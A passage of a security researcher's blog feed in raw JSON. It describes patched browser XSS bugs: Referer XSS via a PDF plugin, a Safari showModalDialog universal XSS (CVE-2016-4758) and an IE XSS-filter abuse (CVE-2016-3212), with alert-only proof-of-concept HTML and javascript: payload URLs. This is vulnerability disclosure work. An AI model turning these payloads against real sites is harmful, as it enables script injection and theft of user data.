\"_self\");\u003Cbr \/\u003E\n\u0026nbsp; }\u003Cbr \/\u003E\n\u0026nbsp;}\u003Cbr \/\u003E\n}\u003C\/blockquote\u003E\nAs you can see the access result, we can XSS via the \u003Ccode\u003EReferer\u003C\/code\u003E request header. But sadly, we cannot XSS via the \u003Ccode\u003Edocument.referrer\u003C\/code\u003E property because it becomes empty. Dang :p\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nFYI, also I can reproduce it via the \u003Ca href=\"http:\/\/wwwimages.adobe.com\/content\/dam\/Adobe\/en\/devnet\/acrobat\/pdfs\/js_api_reference.pdf#page=345\"\u003EsubmitForm() method\u003C\/a\u003E of JavaScript for Acrobat API.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nI confirmed it on Win10 IE11 with Adobe Reader plugin.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nPoC is here:\u003Cbr \/\u003E\n\u003Ca href=\"javascript:void(location='https:\/\/l0.cm\/xss_referrer.pdf?\u0026lt;script\u0026gt;alert(1)\u0026lt;\/script\u0026gt;')\"\u003Ehttps:\/\/l0.cm\/xss_referrer.pdf?\u0026lt;script\u0026gt;alert(1)\u0026lt;\/script\u0026gt;\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nIt seems that the request via plugins is not considered.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nThat's it. It might be helpful in some cases :)\u003Cbr \/\u003E\nThanks!"},"link":[{"rel":"replies","type":"application/atom+xml","href":"https:\/\/mksben.l0.cm\/feeds\/6715974340988446525\/comments\/default","title":"Post Comments"},{"rel":"replies","type":"text/html","href":"https:\/\/mksben.l0.cm\/2016\/10\/xss-via-referrer.html#comment-form","title":"55 Comments"},{"rel":"edit","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/6715974340988446525"},{"rel":"self","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/6715974340988446525"},{"rel":"alternate","type":"text/html","href":"https:\/\/mksben.l0.cm\/2016\/10\/xss-via-referrer.html","title":"XSS via Referrer After Anniversary Update"}],"author":[{"name":{"$t":"Unknown"},"email":{"$t":"noreply@blogger.com"},"gd$image":{"rel":"http://schemas.google.com/g/2005#thumbnail","width":"16","height":"16","src":"https:\/\/img1.blogblog.com\/img\/b16-rounded.gif"}}],"thr$total":{"$t":"55"}},{"id":{"$t":"tag:blogger.com,1999:blog-3090823890722032925.post-4807437252188909064"},"published":{"$t":"2016-09-25T04:14:00.000-07:00"},"updated":{"$t":"2016-09-25T04:46:25.082-07:00"},"category":[{"scheme":"http://www.blogger.com/atom/ns#","term":"Safari"},{"scheme":"http://www.blogger.com/atom/ns#","term":"Security"},{"scheme":"http://www.blogger.com/atom/ns#","term":"XSS"}],"title":{"type":"text","$t":"CVE-2016-4758: UXSS in Safari's showModalDialog"},"content":{"type":"html","$t":"I would like to share about details of Safari's UXSS bug(CVE-2016-4758). This bug was fixed in Safari 10.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"https:\/\/support.apple.com\/en-us\/HT207157\"\u003Ehttps:\/\/support.apple.com\/en-us\/HT207157\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\nWebKit\u003Cbr \/\u003E\nAvailable for: OS X Yosemite v10.10.5, OS X El Capitan v10.11.6, and macOS Sierra 10.12\u003Cbr \/\u003E\nImpact: Visiting a maliciously crafted website may leak sensitive data\u003Cbr \/\u003E\nDescription: A permissions issue existed in the handling of the location variable. This was addressed though additional ownership checks.\u003Cbr \/\u003E\nCVE-2016-4758: Masato Kinugawa of Cure53\u003C\/blockquote\u003E\nFYI, Mobile Safari is not vulnerable because it does not have the \u003Ccode\u003EshowModalDialog\u003C\/code\u003E method.\u003Cbr \/\u003E\n\u003Ch2\u003E\nPreconditions for Attack\u003C\/h2\u003E\n\u003Cdiv\u003E\nTo attack using this bug, we need two conditions:\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Col\u003E\n\u003Cli\u003EThe target page navigates to the relative URL using JavaScript.\u0026nbsp;(e.g. \u003Ccode\u003Elocation=\"\/\"\u003C\/code\u003E,\u003Ccode\u003Ewindow.open(\"\/\",\"_blank\")\u003C\/code\u003E)\u003C\/li\u003E\n\u003Cli\u003EThat navigation is done after the completion of the page loading.\u003C\/li\u003E\n\u003C\/ol\u003E\n\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\nI created the page that satisfies it:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Ca href=\"https:\/\/vulnerabledoma.in\/safari_uxss_showModalDialog\/target.html\"\u003Ehttps:\/\/vulnerabledoma.in\/safari_uxss_showModalDialog\/target.html\u003C\/a\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026lt;script\u0026gt;\u003Cbr \/\u003E\nfunction go_top(){\u003Cbr \/\u003E\n\u003Cspan class=\"Apple-tab-span\" style=\"white-space: pre;\"\u003E \u003C\/span\u003Elocation=\"\/index.html\";\u003Cbr \/\u003E\n}\u003Cbr \/\u003E\n\u0026lt;\/script\u0026gt;\u003Cbr \/\u003E\n\u0026lt;button onclick=go_top()\u0026gt;Top Page\u0026lt;\/button\u0026gt;\u003C\/blockquote\u003E\n\u003C\/div\u003E\n\u003Cbr \/\u003E\nThis page's only purpose is that navigates to\u0026nbsp;\u003Ca href=\"https:\/\/vulnerabledoma.in\/index.html\"\u003Ehttps:\/\/vulnerabledoma.in\/index.html\u003C\/a\u003E\u0026nbsp;when the user click the \"Top Page\" button.\u003Cbr \/\u003E\nI think there are pages like that everywhere. But using this bug, we can do XSS attack in this conditions.\u003Cbr \/\u003E\n\u003Ch2\u003E\nThe Bug\u003C\/h2\u003E\n\u003Cdiv\u003E\nNow, let's use the \u003Ccode\u003EshowModalDialog\u003C\/code\u003E method.\u003C\/div\u003E\n\u003Cdiv\u003E\nThe following page only opens the target page in a modal dialog:\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Cdiv\u003E\n\u003Ca href=\"https:\/\/l0.cm\/safari_uxss_showModalDialog\/example.html\"\u003Ehttps:\/\/l0.cm\/safari_uxss_showModalDialog\/example.html\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026lt;script\u0026gt;\u003Cbr \/\u003E\nfunction go(){\u003Cbr \/\u003E\n\u003Cspan class=\"Apple-tab-span\" style=\"white-space: pre;\"\u003E \u003C\/span\u003EshowModalDialog(\"https:\/\/vulnerabledoma.in\/safari_uxss_showModalDialog\/target.html\");\u003Cbr \/\u003E\n}\u003Cbr \/\u003E\n\u0026lt;\/script\u0026gt;\u003Cbr \/\u003E\n\u0026lt;button onclick=go()\u0026gt;go\u0026lt;\/button\u0026gt;\u003C\/blockquote\u003E\n\u003C\/div\u003E\n\u003Cdiv\u003E\nWhat will happen when we click the \"Top Page\" button in the modal dialog?\u0026nbsp;Needless to say, we will go to \u003Ca href=\"https:\/\/vulnerabledoma.in\/index.html\"\u003Ehttps:\/\/vulnerabledoma.in\/index.html\u003C\/a\u003E. But Safari was different. Surprisingly, Safari navigated to\u0026nbsp;\u003Cspan style=\"background-color: yellow;\"\u003Ehttps:\/\/l0.cm\/\u003C\/span\u003Eindex.html.\u0026nbsp;Obviously, Safari mistakes the parent window's base URL for the modal window's base URL.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n(Side Note: This behavior exists in only the JavaScript navigation APIs. For example, the \u003Ccode\u003E\u0026lt;a\u0026gt;\u003C\/code\u003E tag and \u003Ccode\u003Exhr.open(\"GET\",[URL])\u003C\/code\u003E used the correct URL. )\u003C\/div\u003E\n\u003Ch2\u003E\nDeveloping XSS attacks\u003C\/h2\u003E\nAccording to \u003Ca href=\"https:\/\/html5sec.org\/#42\"\u003Ehtml5sec.org #42\u003C\/a\u003E, Safari allows to set the\u0026nbsp;\u003Ccode\u003Ejavascript:\u003C\/code\u003E URL to the base tag. So, I thought that I might be able to XSS if I set the\u0026nbsp;\u003Ccode\u003Ejavascript:\u003C\/code\u003E URL to the base tag in the parent page.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nAnd my assumption was correct. This is final PoC:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Cdiv\u003E\n\u003Ca href=\"https:\/\/l0.cm\/safari_uxss_showModalDialog\/\"\u003Ehttps:\/\/l0.cm\/safari_uxss_showModalDialog\/\u003C\/a\u003E\u003C\/div\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026lt;!DOCTYPE html\u0026gt;\u003Cbr \/\u003E\n\u0026lt;html\u0026gt;\u003Cbr \/\u003E\n\u0026lt;head\u0026gt;\u003Cbr \/\u003E\n\u0026lt;base href=\"\u003Cspan style=\"background-color: yellow;\"\u003Ejavascript:\/\/%0Aalert%28document.domain%29%2F\/\u003C\/span\u003E\"\u0026gt;\u003Cbr \/\u003E\n\u0026lt;\/head\u0026gt;\u003Cbr \/\u003E\n\u0026lt;body\u0026gt;\u003Cbr \/\u003E\n\u0026lt;script\u0026gt;\u003Cbr \/\u003E\nfunction go(){\u003Cbr \/\u003E\n\u003Cspan class=\"Apple-tab-span\" style=\"white-space: pre;\"\u003E \u003C\/span\u003EshowModalDialog(\"http:\/\/vulnerabledoma.in\/safari_uxss_showModalDialog\/target.html\");\u003Cbr \/\u003E\n}\u003Cbr \/\u003E\n\u0026lt;\/script\u0026gt;\u003Cbr \/\u003E\n\u0026lt;button onclick=go()\u0026gt;go\u0026lt;\/button\u0026gt;\u003Cbr \/\u003E\n\u0026lt;\/body\u0026gt;\u003Cbr \/\u003E\n\u0026lt;\/html\u0026gt;\u003C\/blockquote\u003E\nIf it goes well, you can see an alert dialog when you click \"Top Page\" button, like the following screen shot:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Cdiv class=\"separator\" style=\"clear: both; text-align: center;\"\u003E\n\u003Ca href=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEiMo3HneUo30_N04OilZuEnhPEPxPkZoa8vx-G9e-wycljM9GXTqYaM3RmMH-zMr8mBg4wla4LlXRv5fJ6LiGXjG2OXvWiL0HQ-yzjlGmtJQUCRF77Aib8bbkKC_98Gb2v7LXJhn10B2fE\/s1600\/uxss_smd.png\" imageanchor=\"1\" style=\"margin-left: 1em; margin-right: 1em;\"\u003E\u003Cimg border=\"0\" height=\"508\" src=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEiMo3HneUo30_N04OilZuEnhPEPxPkZoa8vx-G9e-wycljM9GXTqYaM3RmMH-zMr8mBg4wla4LlXRv5fJ6LiGXjG2OXvWiL0HQ-yzjlGmtJQUCRF77Aib8bbkKC_98Gb2v7LXJhn10B2fE\/s640\/uxss_smd.png\" width=\"640\" \/\u003E\u003C\/a\u003E\u003C\/div\u003E\n\u003Cbr \/\u003E\nYay!\u003Cbr \/\u003E\n\u003Ch2\u003E\nConclusion\u003C\/h2\u003E\nI wrote about Safari's UXSS bug. I reported this bug on June 15, 2015. This bug was living in WebKit for over a year after I reported.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nIf I find interesting bug, I'll share again :D Thanks!"},"link":[{"rel":"replies","type":"application/atom+xml","href":"https:\/\/mksben.l0.cm\/feeds\/4807437252188909064\/comments\/default","title":"Post Comments"},{"rel":"replies","type":"text/html","href":"https:\/\/mksben.l0.cm\/2016\/09\/safari-uxss-showModalDialog.html#comment-form","title":"333 Comments"},{"rel":"edit","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/4807437252188909064"},{"rel":"self","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/4807437252188909064"},{"rel":"alternate","type":"text/html","href":"https:\/\/mksben.l0.cm\/2016\/09\/safari-uxss-showModalDialog.html","title":"CVE-2016-4758: UXSS in Safari's showModalDialog"}],"author":[{"name":{"$t":"Unknown"},"email":{"$t":"noreply@blogger.com"},"gd$image":{"rel":"http://schemas.google.com/g/2005#thumbnail","width":"16","height":"16","src":"https:\/\/img1.blogblog.com\/img\/b16-rounded.gif"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEiMo3HneUo30_N04OilZuEnhPEPxPkZoa8vx-G9e-wycljM9GXTqYaM3RmMH-zMr8mBg4wla4LlXRv5fJ6LiGXjG2OXvWiL0HQ-yzjlGmtJQUCRF77Aib8bbkKC_98Gb2v7LXJhn10B2fE\/s72-c\/uxss_smd.png","height":"72","width":"72"},"thr$total":{"$t":"333"}},{"id":{"$t":"tag:blogger.com,1999:blog-3090823890722032925.post-4594890473099332892"},"published":{"$t":"2016-07-15T07:10:00.000-07:00"},"updated":{"$t":"2016-07-15T07:37:27.815-07:00"},"category":[{"scheme":"http://www.blogger.com/atom/ns#","term":"Edge"},{"scheme":"http://www.blogger.com/atom/ns#","term":"IE"},{"scheme":"http://www.blogger.com/atom/ns#","term":"Security"},{"scheme":"http://www.blogger.com/atom/ns#","term":"VRP"},{"scheme":"http://www.blogger.com/atom/ns#","term":"XSS"},{"scheme":"http://www.blogger.com/atom/ns#","term":"XSSFilter"}],"title":{"type":"text","$t":"Abusing XSS Filter: One ^ leads to XSS(CVE-2016-3212)"},"content":{"type":"html","$t":"\u003Cdiv\u003E\nIn the past, I talked about XSS attacks exploiting IE XSS filter in CODE BLUE, which is an information security conference in Japan. A similar bug is fixed in \u003Ca href=\"https:\/\/technet.microsoft.com\/en-us\/library\/security\/ms16-063.aspx#ID0EFUAE\"\u003EJune patch\u003C\/a\u003E as CVE-2016-3212.\u003Cbr \/\u003E\nSo, in this post, I would like to explain details of this bug.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nAs described in \u003Ca href=\"http:\/\/www.slideshare.net\/masatokinugawa\/xxn-en\"\u003Emy slides\u003C\/a\u003E, applying the XSS filter rules to an irrelevant context, we can do XSS attacks using the filter behavior replacing the\u0026nbsp;\u003Ccode\u003E.\u003C\/code\u003E with the\u0026nbsp;\u003Ccode\u003E#\u003C\/code\u003E even if the page does not have an XSS bug.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\u003C\/div\u003E\n\u003Cdiv class=\"separator\" style=\"clear: both; text-align: center;\"\u003E\n\u003Ca href=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEhPJNNZStdaR8tGeR-RwdIa2GWTb_N1MeSKANUKoPPtpOXMj7QuNNheq5BdvOAbg5MJd1_Tb7O2k-XNFz2BmOjRrH-3LWtF7qcduQi_g66DREfYcMNK3nw_Yo4D6fDxDfcTgM45wcDzOKs\/s1600\/ex4.png\" imageanchor=\"1\" style=\"margin-left: 1em; margin-right: 1em;\"\u003E\u003Cimg border=\"0\" height=\"300\" src=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEhPJNNZStdaR8tGeR-RwdIa2GWTb_N1MeSKANUKoPPtpOXMj7QuNNheq5BdvOAbg5MJd1_Tb7O2k-XNFz2BmOjRrH-3LWtF7qcduQi_g66DREfYcMNK3nw_Yo4D6fDxDfcTgM45wcDzOKs\/s400\/ex4.png\" width=\"400\" \/\u003E\u003C\/a\u003E\u003C\/div\u003E\n\u003Cbr \/\u003E\n\u003Cdiv class=\"separator\" style=\"clear: both; text-align: center;\"\u003E\n\u003Ca href=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEgFFFp75pi3Vpo-B-vkuunXMN6o8j-f8vdYgflTito4_SbetTqjKlxGUDHUyGS5YWM4IMOuPpUekbZzQwOMK9_XldCqv3lxThdH6cuK1_Y4RWdX9lXvAsgPtkOGfyIV1OFZXhR5sAr480A\/s1600\/ex5.png\" imageanchor=\"1\" style=\"margin-left: 1em; margin-right: 1em;\"\u003E\u003Cimg border=\"0\" height=\"300\" src=\"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEgFFFp75pi3Vpo-B-vkuunXMN6o8j-f8vdYgflTito4_SbetTqjKlxGUDHUyGS5YWM4IMOuPpUekbZzQwOMK9_XldCqv3lxThdH6cuK1_Y4RWdX9lXvAsgPtkOGfyIV1OFZXhR5sAr480A\/s400\/ex5.png\" width=\"400\" \/\u003E\u003C\/a\u003E\u003C\/div\u003E\n\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nTo prevent such attacks, Microsoft changed the filter behavior by December 2015 patch. After this patch, the \u003Ccode\u003E^\u003C\/code\u003E is used as the replacement character of the \u003Ccode\u003E.\u003C\/code\u003E instead of the \u003Ccode\u003E#\u003C\/code\u003E. Indeed, this can prevent attacks above. But it brought another nightmare. After several months, I confirmed an XSS using this behavior in Google's domain, and I got $3133.7 as rewards through \u003Ca href=\"https:\/\/www.google.com\/about\/appsecurity\/chrome-rewards\/\"\u003EGoogle VRP\u003C\/a\u003E.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nGoogle sets \u003Ccode\u003EX-XSS-Protection: 1;mode=block\u003C\/code\u003E header in almost their services. But not all. So, I checked carefully some pages which have no \u003Ccode\u003Emode=block\u003C\/code\u003E. As a result, I discovered that the vulnerable page exists in Javadoc on cloud.google.com.\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nI put the approximate copy:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"http:\/\/vulnerabledoma.in\/xxn\/xss_javadoc.html\"\u003Ehttp:\/\/vulnerabledoma.in\/xxn\/xss_javadoc.html\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nThis page becomes vulnerable to XSS when one \u003Ccode\u003E.\u003C\/code\u003E is replaced with the \u003Ccode\u003E^\u003C\/code\u003E by the XSS filter.\u003Cbr \/\u003E\nCan you find where it is?\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nThe answer is the \u003Ccode\u003E.\u003C\/code\u003E of the yellow part:\u003Cbr \/\u003E\n\u003Cblockquote class=\"tr_bq\"\u003E\n\u0026lt;!DOCTYPE HTML PUBLIC \"-\/\/W3C\/\/DTD HTML 4.01 Frameset\/\/EN\" \"http:\/\/www.w3.org\/TR\/html4\/frameset.dtd\"\u0026gt;\u003Cbr \/\u003E\n\u0026lt;!-- NewPage --\u0026gt;\u003Cbr \/\u003E\n\u0026lt;html lang=\"en\"\u0026gt;\u003Cbr \/\u003E\n\u0026lt;head\u0026gt;\u003Cbr \/\u003E\n\u0026lt;title\u0026gt;javadoc\u0026lt;\/title\u0026gt;\u003Cbr \/\u003E\n\u0026lt;script type=\"text\/javascript\"\u0026gt;\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; targetPage = \"\" + window.location.search;\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; if (targetPage != \"\" \u0026amp;\u0026amp; targetPage != \"undefined\")\u003Cbr \/\u003E\ntargetPage = targetPage.substring(1);\u003Cbr \/\u003E\nif (\u003Cspan style=\"background-color: yellow;\"\u003EtargetPage.indexOf\u003C\/span\u003E(\":\") !=\u0026nbsp;-1 || (targetPage != \"\" \u0026amp;\u0026amp; !validURL(targetPage)))\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; targetPage = \"undefined\";\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; function validURL(url) {\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; try {\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; url = decodeURIComponent(url);\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; }\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; catch (error) {\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; return false;\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; }\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; var pos = url.indexOf(\".html\");\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; if (pos == -1 || pos != url.length - 5)\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; return false;\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; var allowNumber = false;\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; var allowSep = false;\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; var seenDot = false;\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; for (var i = 0; i \u0026lt; url.length - 5; i++) {\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; var ch = url.charAt(i);\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; if ('a' \u0026lt;= ch \u0026amp;\u0026amp; ch \u0026lt;= 'z' ||\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; 'A' \u0026lt;= ch \u0026amp;\u0026amp; ch \u0026lt;= 'Z' ||\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; ch == '$' ||\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; ch == '_' ||\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; ch.charCodeAt(0) \u0026gt; 127) {\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; allowNumber = true;\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; allowSep = true;\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; } else if ('0' \u0026lt;= ch \u0026amp;\u0026amp; ch \u0026lt;= '9'\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; || ch == '-') {\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; if (!allowNumber)\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp;return false;\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; } else if (ch == '\/' || ch == '.') {\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; if (!allowSep)\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; return false;\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; allowNumber = false;\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; allowSep = false;\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; if (ch == '.')\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp;seenDot = true;\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; if (ch == '\/' \u0026amp;\u0026amp; seenDot)\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp;return false;\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; } else {\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; return false;\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; }\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; }\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; return true;\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; }\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; function loadFrames() {\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; if (targetPage != \"\" \u0026amp;\u0026amp; targetPage != \"undefined\")\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp;top.classFrame.location = top.targetPage;\u003Cbr \/\u003E\n\u0026nbsp; \u0026nbsp; }\u003Cbr \/\u003E\n\u0026lt;\/script\u0026gt;\u003Cbr \/\u003E\n\u0026lt;\/head\u0026gt;\u003Cbr \/\u003E\n\u0026lt;frameset cols=\"20%,80%\" title=\"Documentation frame\" onload=\"top.loadFrames()\"\u0026gt;\u003Cbr \/\u003E\n\u0026lt;frameset rows=\"30%,70%\" title=\"Left frames\" onload=\"top.loadFrames()\"\u0026gt;\u003Cbr \/\u003E\n\u0026lt;frame src=\"\/\" name=\"packageListFrame\" title=\"All Packages\"\u0026gt;\u003Cbr \/\u003E\n\u0026lt;frame src=\"\/\" name=\"packageFrame\" title=\"All classes and interfaces (except non-static nested types)\"\u0026gt;\u003Cbr \/\u003E\n\u0026lt;\/frameset\u0026gt;\u003Cbr \/\u003E\n\u0026lt;frame src=\"\/\" name=\"classFrame\" title=\"Package, class and interface descriptions\" scrolling=\"yes\"\u0026gt;\u003Cbr \/\u003E\n\u0026lt;noframes\u0026gt;\u003Cbr \/\u003E\n\u0026lt;noscript\u0026gt;\u003Cbr \/\u003E\n\u0026lt;div\u0026gt;JavaScript is disabled on your browser.\u0026lt;\/div\u0026gt;\u003Cbr \/\u003E\n\u0026lt;\/noscript\u0026gt;\u003Cbr \/\u003E\n\u0026lt;h2\u0026gt;Frame Alert\u0026lt;\/h2\u0026gt;\u003Cbr \/\u003E\n\u0026lt;p\u0026gt;This document is designed to be viewed using the frames feature. If you see this message, you are using a non-frame-capable web client. Link to \u0026lt;a href=\"overview-summary.html\"\u0026gt;Non-frame version\u0026lt;\/a\u0026gt;.\u0026lt;\/p\u0026gt;\u003Cbr \/\u003E\n\u0026lt;\/noframes\u0026gt;\u003Cbr \/\u003E\n\u0026lt;\/frameset\u0026gt;\u003Cbr \/\u003E\n\u0026lt;\/html\u0026gt;\u003C\/blockquote\u003E\nIn the \u003Ccode\u003E\u0026lt;script\u0026gt;\u003C\/code\u003E, it checks whether the given string via \u003Ccode\u003Elocation.search\u003C\/code\u003E is safe.\u003Cbr \/\u003E\nFor example, the following unsafe URL is blocked:\u003Cbr \/\u003E\n\u003Cbr \/\u003E\n\u003Ca href=\"http:\/\/vulnerabledoma.in\/xxn\/xss_javadoc.html?javascript:alert(1)\"\u003Ehttp:\/\/vulnerabledoma.in\/xxn\/xss_javadoc.html?\u003Cb\u003Ejavascript:alert(1)\u003C\/b\u003E\u003C\/a\u003E\u003Cbr \/\u003E\n\u003Cbr \/\u003E\nThen, what will happen when the\u0026nbsp;\u003Ccode\u003E.\u003C\/code\u003E\u0026nbsp;of the yellow part is replaced with 